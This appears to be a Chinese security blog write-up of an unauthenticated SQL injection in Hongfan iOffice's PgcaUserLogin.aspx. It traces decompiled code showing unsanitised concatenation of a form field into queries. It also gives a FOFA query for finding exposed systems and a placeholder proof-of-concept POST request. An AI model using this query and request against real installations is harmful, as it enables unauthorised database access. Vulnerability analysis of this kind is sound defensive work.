红帆ioffice PgcaUserLogin.aspx SQL 注入漏洞


漏洞简介

红帆iOffice的/ioffice/Identity/PgcaUserLogin.aspx接口存在SQL注入漏洞。攻击者可通过构造恶意SQL语句,未经身份验证地获取数据库敏感信息,影响范围包括红帆iOffice系统的数据访问权限。

影响版本

fofa语法

(title="iOffice.net" || body="/iOffice/js" || (body="iOffice.net" && header!="couchdb" && header!="drupal") || body="iOfficeOcxSetup.exe" || body="Hongfan. All Rights Reserved")

漏洞分析

先看下PgcaUserLogin.aspx 里引用的代码在哪里(Inherits)

<%@ Page Language="vb" AutoEventWireup="false" CodeBehind="PgcaUserLogin.aspx.vb"
    Inherits="iden.PgcaUserLogin" %>

去bin目录找到iden.dll后编译打开,看PgcaUserLogin它的实现逻辑

public class PgcaUserLogin : WebPageBase
{
  [AccessedThroughProperty("Head1")]
  private HtmlHead _Head1;
  [AccessedThroughProperty("form1")]
  private HtmlForm _form1;
  [AccessedThroughProperty("ioScriptManager1")]
  private ioScriptManager _ioScriptManager1;
  [AccessedThroughProperty("updatePanel1")]
  private ioUpdatePanel _updatePanel1;
  [AccessedThroughProperty("btVerify")]
  private Button _btVerify;
  [AccessedThroughProperty("txthidIsLogin")]
  private TextBox _txthidIsLogin;
  [AccessedThroughProperty("btSetVisitBefore")]
  private Button _btSetVisitBefore;
  [AccessedThroughProperty("lblSerialNum")]
  private TextBox _lblSerialNum;
  [AccessedThroughProperty("ReConnect")]
  private HtmlAnchor _ReConnect;

......

最开始的一些变量定义,前端按钮btVerify

function doLogin() {
    //document.getElementById("txthidIsLogin").value = "1";
    try {
        var CertID = document.getElementById("CertID").value;
        if (CertID == "") {
            alert("没有读取到key信息,请检查key是否运行正常!");
            return false;
        }
        else {
            document.all.lblSerialNum.value = CertID;
            var obj = document.getElementById("btVerify");
            obj.click();
            return true;
        }

......
<form id="form1" runat="server">
<uc1:ioScriptManager ID="ioScriptManager1" runat="server" />
<ioctl:ioUpdatePanel ID="updatePanel1" UpdateMode="Conditional"
    runat="server">
    <ContentTemplate>
        <asp:Button ID="btVerify" runat="server" Style="display: none" />
        <asp:TextBox ID="txthidIsLogin" runat="server" Style="display: none"></asp:TextBox>
        <asp:Button ID="btSetVisitBefore" runat="server" Style="display: none" />
        <table id="Table1" cellspacing="0" cellpadding="0"
            width="100%" align="center" border="0">
            <tr>
                <td height="100px">
                </td>
            </tr>
            <tr>
                <td class="td" valign="top" align="center">
                    <table id="Table5" cellspacing="0" cellpadding="0"
                        border="0" style="width: 480px; height: 220px">
                        <tr>
                            <td align="right" style="font-size: 12px;">
                                请选择用户证书:
                            </td>
                            <td>
                                <select name="CertID"  id="CertID" style="width: 150px">

                                </select>
                        </tr>
                        <tr style="display: none">
                            <td align="right" style="font-size: 12px;">
                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用户PIN码:
                            </td>
                            <td>
                                <input type="password" size="10" name="UserPIN" style="width: 150px"
                                    onkeypress="if(event.keyCode==13) {doLogin();return false;}" />
                        </tr>
                        <tr>
                            <td align="center" colspan="2">
                            </td>
                            <asp:TextBox ID="lblSerialNum" runat="server" Width="0px" Style="display:none"></asp:TextBox>
                        </tr>
                        <tr>

对应后端的btVerify

protected virtual Button btVerify
{
  [DebuggerNonUserCode] get => this._btVerify;
  [DebuggerNonUserCode, MethodImpl((MethodImplOptions) 32)] set
  {
    EventHandler eventHandler = new EventHandler(this.btVerify_Click);
    if (this._btVerify != null)
      this._btVerify.Click -= eventHandler;
    this._btVerify = value;
    if (this._btVerify == null)
      return;
    this._btVerify.Click += eventHandler;
  }
}

跟进btVerify_Click看下

protected void btVerify_Click(object sender, EventArgs e)
{
  if (Operators.CompareString(this.lblSerialNum.Text.Trim(), "", false) == 0)
    return;
  iden.iden.PGCA pgca = new iden.iden.PGCA();
  pgca.EmpID = checked ((int) Math.Round(Conversion.Val(this.Emp.EmpID)));
  pgca.SubjectName = "PGCA";
  pgca.Serial = this.lblSerialNum.Text;
  switch (pgca.Verify())
  {

在判断lblSerialNum不为空后带入iden.iden.PGCA() 方法,跟进看下

public class PGCA : iden.iden.Identity
{
  public string SubjectName;
  public string Issuer;

  public PGCA()
  {
    this.p_Hardware = nameof (PGCA);
    this.ConfigPage = "/ioffice/identity/PgcaConfig.aspx";
    this.LoginPage = "/ioffice/identity/PgcaUserLogin.aspx";
  }

  public override void Addup()
  {
    this.IdentityAddUp(this.EmpID, this.Serial, this.Hardware, this.SubjectName, sIssuer: this.Issuer);
  }

  public override int Verify()
  {
    if (Operators.CompareString(this.SubjectName, "", false) != 0)
      this.LookupEmpAndLogin(this.Serial);
    return Operators.ConditionalCompareObjectGreater(SqlData.ExecuteScalar(Globals.ConnectString, (CommandType) 1, $"{"select count(*) " + " from ssIdentity " + " where "}  Serial='{this.Serial}' and empid={Conversions.ToString(this.EmpID)}"), (object) 0, false) ? 1 : 0;
  }

  protected override int LookupEmp(string SearchKey)
  {
    object objectValue = RuntimeHelpers.GetObjectValue(SqlData.ExecuteScalar(Globals.ConnectString, (CommandType) 1, $"select b.empid from ssIdentity a join mrbaseinf b on a.SubjectName=b.loginid where a.Serial='{SearchKey}'"));
    return objectValue == DBNull.Value ? 0 : Conversions.ToInteger(objectValue);
  }
}

Serial即lblSerialNum又先被带入LookupEmpAndLogin 方法

protected void LookupEmpAndLogin(string SearchKey)
{
  if (Operators.ConditionalCompareObjectEqual(HttpContext.Current.Session["VisitBefore"], (object) "", false) && Operators.CompareString(ioSet.GetClientSet("硬件认证直接登录"), "", false) != 0)
  {
    int iEmpID = this.LookupEmp(SearchKey);
    if (iEmpID == 0)
      return;
    this.EmpID = this.LoginiOffice(iEmpID) != 0 ? 0 : iEmpID;
  }
}

继续跟进LookupEmp 方法

protected virtual int LookupEmp(string SearchKey)
{
  object objectValue = RuntimeHelpers.GetObjectValue(SqlData.ExecuteScalar(Globals.ConnectString, (CommandType) 1, $"select empid from ssIdentity where Serial='{SearchKey}'"));
  return objectValue == DBNull.Value ? 0 : Conversions.ToInteger(objectValue);
}

ok,到这里,漏洞成因就非常明了了,从前端TextBox获取的lblSerialNum最终经过一系列赋值传递后被直接拼接进$"select empid from ssIdentity where Serial='{SearchKey}'" sql语句里,全程无过滤或者校验,从而造成了SQL注入漏洞。

漏洞复现

漏洞复现需要打开漏洞文件页面获取一些其他必要参数如__VIEWSTATE之类

POST /ioffice/Identity/PgcaUserLogin.aspx HTTP/1.1
Host: ioffice.mrxn.ent
Content-Type: application/x-www-form-urlencoded

__EVENTTARGET=btVerify&__EVENTARGUMENT=&__VIEWSTATE=YOUR___VIEWSTATE&__VIEWSTATEGENERATOR=YOUR___VIEWSTATEGENERATOR&btVerify=&CertID=SQLI_POC&lblSerialNum=SQLI_POC&txthidIsLogin=1&UserPIN=123456

成功利用报错注入在响应回显当前数据库用户信息


手机扫码阅读

汉王e脸通智慧园区管理平台最新版jar包解密浅析

TurboMail mailmain 敏感信息泄露漏洞

评 论